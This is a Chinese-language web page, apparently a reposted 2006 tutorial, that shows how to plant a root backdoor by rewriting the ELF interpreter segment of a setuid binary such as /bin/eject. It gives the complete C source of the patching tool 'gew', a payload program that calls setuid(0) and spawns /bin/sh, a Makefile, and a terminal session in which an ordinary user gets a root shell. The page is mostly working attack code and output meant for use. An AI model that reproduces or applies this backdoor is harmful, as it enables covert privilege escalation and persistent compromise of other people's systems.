分享
 
 
 

elf-write工具写interpreter后门

王朝other·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

ABfrag.bin 木马破解

*nix逆向工程,elf加密,病毒资料专题

后门技术

hide module - old

隐藏2.6内核模块

say bye 2 ur printk

injectso source

module_auto_unload, anti-forensic part 1

用elf-write工具写interpreter后门 (elf interpreter segment backdoor)

后门发现技术

Finding hidden kernel modules on linux

finding hidden modules on 2.6 kernel_module_hunter

find socket - extreme way

unix/linux 病毒技术研究

gei - ELF Infector v0.0.1

所谓的interpreter后门就是通过更改elf文件的interpreter segment来进行后门代码触发执行的一种方法。

在下面我给出了这种技术的一个示范,同时给出了一个修改elf文件的程序(目前只有两个小功能)作为辅助工具。

总的来说这种技术难度不高,但是其有一些自己的特点,这些特点我在下面的示例中没有进行描述,但是你可以

通过自己的思考去发掘;P

1. 将我在后面提供的程序编译,得到一个小工具gew和一个示例程序foo

-----------------------------------

grip2@linux:~/tmp/elf-write> ls

. .. foo.c g-elf-write.c Makefile

grip2@linux:~/tmp/elf-write> make

gcc foo.c -o foo -static

gcc -O2 g-elf-write.c -o gew -Wall

grip2@linux:~/tmp/elf-write> ls

. .. foo foo.c g-elf-write.c gew Makefile

grip2@linux:~/tmp/elf-write> ls gew foo -l

-rwxr-xr-x 1 grip2 users 2201192 2004-11-24 05:52 foo

-rwxr-xr-x 1 grip2 users 11755 2004-11-24 05:52 gew

2. 选择一个用来弹出interpreter的setuid程序(如果不放心,你可以先做备份)

-----------------------------------

linux:~/tmp/elf-write # find / -perm -4000 -print

...

/usr/bin/chsh

/usr/bin/expiry

/usr/bin/gpasswd

/usr/bin/newgrp

/usr/bin/passwd

/usr/bin/gpg

/usr/bin/at

/bin/eject

/bin/ping

/bin/ping6

/bin/su

/bin/mount

/bin/umount

...

linux:~/tmp/elf-write # ls -l /bin/eject

-rwsr-xr-x 1 root audio 22630 2004-04-06 09:19 /bin/eject

3使用gew工具修改选中的setuid程序的interpreter,使其指向我们的foo程序

-----------------------------------

linux:~/tmp/elf-write # ./gew

uid: 0 euid 0

gew - ELF write v0.0.1 written by grip2 <gript2@hotmail.com>

Usage: ./gew [-i new_interp][-e new_entry] elf-file

linux:~/tmp/elf-write # ./gew -i /home/grip2/tmp/elf-write/foo /bin/eject

uid: 0 euid 0

Better luck next file :-P <-- 这里说明我们指定的新interpreter路径超长了

(因为如果新的interpreter的长度超过现有的段长度,要

使其生效,就要调整目标文件的大小,而这是我们不愿看到

的,因此做了限制)

linux:~/tmp/elf-write # ./gew -i /home/grip2/foo /bin/eject

uid: 0 euid 0

linux:~/tmp/elf-write # strings /bin/eject|grep foo

/home/grip2/foo <-- OK,这次成功了

4 将foo复制到我们在上面给的新interpreter路径

-----------------------------------

linux:~/tmp/elf-write # su - grip2

grip2@linux:~> id

uid=716(grip2) gid=100(users) groups=14(uucp),16(dialout),17(audio),33(video),100(users)

grip2@linux:~> pwd

/home/grip2

grip2@linux:~> cp tmp/elf-write/foo .

grip2@linux:~> ll foo

-rwxr-xr-x 1 grip2 users 2201192 2004-11-24 06:04 foo

5 以普通用户的身份运行我们修改的setuid程序,这里是eject,看看效果。

-----------------------------------

grip2@linux:~> eject

sh-2.05b# pwd

/home/grip2

sh-2.05b# id <-- 我们已经是root了

uid=0(root) gid=100(users) groups=14(uucp),16(dialout),17(audio),33(video),100(users)

sh-2.05b# exit

grip2@linux:~>

附注:有些情况你可能需要对你的foo进行一些处理,需要重新指定做为interpreter的foo的程序

入口点,这时你可以使用gew的第二个功能(如果你现在没遇到这种情况,就不需要看这里的内容了)

-----------------------------------

grip2@linux:~> objdump -D foo|grep main

804815c: e8 1f 01 00 00 call 8048280 <__libc_start_main>

...

08048244 <main>:

...

08048280 <__libc_start_main>:

804829f: 74 0f je 80482b0 <__libc_start_main+0x30>

80482d7: 75 f7 jne 80482d0 <__libc_start_main+0x50>

80482e7: 0f 85 bd 00 00 00 jne 80483aa <__libc_start_main+0x12a>

8048306: 0f 85 33 01 00 00 jne 804843f <__libc_start_main+0x1bf>

804832b: 77 5f ja 804838c <__libc_start_main+0x10c>

8048346: 77 28 ja 8048370 <__libc_start_main+0xf0>

804836e: 76 e0 jbe 8048350 <__libc_start_main+0xd0>

804837a: 75 0b jne 8048387 <__libc_start_main+0x107>

8048385: 76 a9 jbe 8048330 <__libc_start_main+0xb0>

804838a: 7f 0c jg 8048398 <__libc_start_main+0x118>

804839e: 0f 86 0d 01 00 00 jbe 80484b1 <__libc_start_main+0x231>

80483b4: 74 17 je 80483cd <__libc_start_main+0x14d>

80483ed: 74 17 je 8048406 <__libc_start_main+0x186>

804840e: 0f 85 93 00 00 00 jne 80484a7 <__libc_start_main+0x227>

8048419: 74 03 je 804841e <__libc_start_main+0x19e>

8048456: 74 21 je 8048479 <__libc_start_main+0x1f9>

8048477: 7f 0c jg 8048485 <__libc_start_main+0x205>

80484a2: e9 71 fe ff ff jmp 8048318 <__libc_start_main+0x98>

80484ac: e9 63 ff ff ff jmp 8048414 <__libc_start_main+0x194>

80484b8: eb c6 jmp 8048480 <__libc_start_main+0x200>

80502f3: e8 c8 0f 00 00 call 80512c0 <_nl_load_domain>

80504ae: e8 ad 0a 00 00 call 8050f60 <_nl_free_domain_conv>

80504bb: e8 70 0b 00 00 call 8051030 <_nl_init_domain_conv>

8050b2f: e8 0c 02 00 00 call 8050d40 <_nl_find_domain>

...

...

080a30a8 <_dl_main_searchlist>:

080a3100 <_nl_current_default_domain>:

080a53e0 <main_arena>:

080a5904 <_nl_loaded_domains>:

080a5d20 <_nl_domain_bindings>:

grip2@linux:~> ./gew -e 0x08048244 foo

uid: 716 euid 716

grip2@linux:~> readelf -l foo

Elf file type is EXEC (Executable file)

Entry point 0x8048244

There are 5 program headers, starting at offset 52

Program Headers:

Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align

LOAD 0x000000 0x08048000 0x08048000 0x5aa78 0x5aa78 R E 0x1000

LOAD 0x05b000 0x080a3000 0x080a3000 0x01b7c 0x02e40 RW 0x1000

NOTE 0x0000d4 0x080480d4 0x080480d4 0x00020 0x00020 R 0x4

NOTE 0x0000f4 0x080480f4 0x080480f4 0x00018 0x00018 R 0x4

STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4

Section to Segment mapping:

Segment Sections...

00 .init .text __libc_freeres_fn .fini .rodata __libc_subfreeres .gnu.linkonce.ro.__strtol_ul_rem_tab .gnu.linkonce.ro.__strtol_ul_max_tab __libc_atexit .gnu.linkonce.ro.__strtol_ull_rem_tab .gnu.linkonce.ro.__strtol_ull_max_tab .note.ABI-tag .note.SuSE

01 .data .eh_frame .ctors .dtors .jcr .got .bss __libc_freeres_ptrs

02 .note.ABI-tag

03 .note.SuSE

04

/*

* gew - ELF write v0.0.1

* written by grip2 <gript2@hotmail.com>

*/

#include <elf.h>

#include <fcntl.h>

#include <sys/stat.h>

#include <sys/mman.h>

#include <stdio.h>

#include <unistd.h>

#include <string.h>

#include <stdlib.h>

void usage(char *argv[])

{

fprintf(stderr,

"gew - ELF write v0.0.1 written by grip2 <gript2@hotmail.com>\n");

fprintf(stderr, "Usage: %s [-i new_interp]"

"[-e new_entry] elf-file\n",

argv[0]);

exit(1);

}

int main(int argc, char *argv[])

{

int fd = -1;

Elf32_Ehdr *ehdr = NULL;

Elf32_Phdr *phdr;

Elf32_Shdr *shdr;

int i;

struct stat stat;

int ch;

char *pchar;

char opt_read = 1, opt_entry = 0, opt_interp = 0;

char filename[64];

char new_interp[256];

unsigned long new_entry = 0;

int euid = geteuid();

setuid(getuid());

setuid(euid);

printf("uid: %d euid %d\n", getuid(), geteuid());

while ((ch = getopt(argc, argv, "e:i:")) != -1) { /* get option */

switch (ch) {

case 'e':

new_entry = strtoul(optarg, &pchar, 16);

if (*pchar != '\0')

usage(argv);

opt_entry = 1;

opt_read = 0;

break;

case 'i':

new_interp[sizeof(new_interp)-1] = 0;

strncpy(new_interp, optarg, sizeof(new_interp));

if (new_interp[sizeof(new_interp)-1] != 0)

usage(argv);

opt_interp = 1;

opt_read = 0;

break;

case '?':

default:

break;

}

}

if (argv[optind] == NULL)

usage(argv);

strcpy(filename, argv[optind]);

fd = open(filename, O_RDWR);

if (fd == -1) {

perror(argv[1]);

goto err;

}

if (fstat(fd, &stat) == -1) {

perror("fstat");

goto err;

}

ehdr = mmap(0, stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0);

if (ehdr == MAP_FAILED) {

perror("mmap ehdr");

goto err;

}

/* Check ELF magic-ident */

if (ehdr->e_ident[EI_MAG0] != 0x7f

|| ehdr->e_ident[EI_MAG1] != 'E'

|| ehdr->e_ident[EI_MAG2] != 'L'

|| ehdr->e_ident[EI_MAG3] != 'F'

|| ehdr->e_ident[EI_CLASS] != ELFCLASS32

|| ehdr->e_ident[EI_DATA] != ELFDATA2LSB

|| ehdr->e_ident[EI_VERSION] != EV_CURRENT

|| ehdr->e_type != ET_EXEC

|| ehdr->e_machine != EM_386

|| ehdr->e_version != EV_CURRENT

) {

fprintf(stderr, "File type not supported\n");

goto err;

}

phdr = (Elf32_Phdr *) ((unsigned long) ehdr + ehdr->e_phoff);

shdr = (Elf32_Shdr *) ((unsigned long) ehdr + ehdr->e_shoff);

i = 0;

if (opt_read || opt_interp) while (1) {

if (i == ehdr->e_phnum) {

fprintf(stderr, "Interpreter not found.\n");

if (opt_read)

break;

goto err;

}

if (phdr[i].p_type != PT_INTERP) {

i++;

continue;

}

if (opt_interp) {

if (phdr[i].p_filesz <= strlen(new_interp)) {

fprintf(stderr, "Better luck next file :-P\n");

goto err;

}

strncpy((void *) ehdr + phdr[i].p_offset,

new_interp, phdr[i].p_filesz);

} else if (opt_read) {

printf("current interpreter: %s\n",

(char *) ehdr + phdr[i].p_offset);

}

break;

}

if (opt_entry)

ehdr->e_entry = new_entry;

else if (opt_read)

printf("current entry: %p\n", (void *) ehdr->e_entry);

munmap(ehdr, stat.st_size);

close(fd);

return 0;

err:

if (ehdr)

munmap(ehdr, stat.st_size);

if (fd != -1)

close(fd);

return 1;

}

foo.c

int main()

{

setuid(0);

system("/bin/sh");

return 0;

}

Makefile

all: foo gew

gew: g-elf-write.c

gcc -O2 $< -o $@ -Wall

foo: foo.c

gcc $< -o $@ -static

clean:

rm *.o -rf

rm foo -rf

rm gew -rf

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有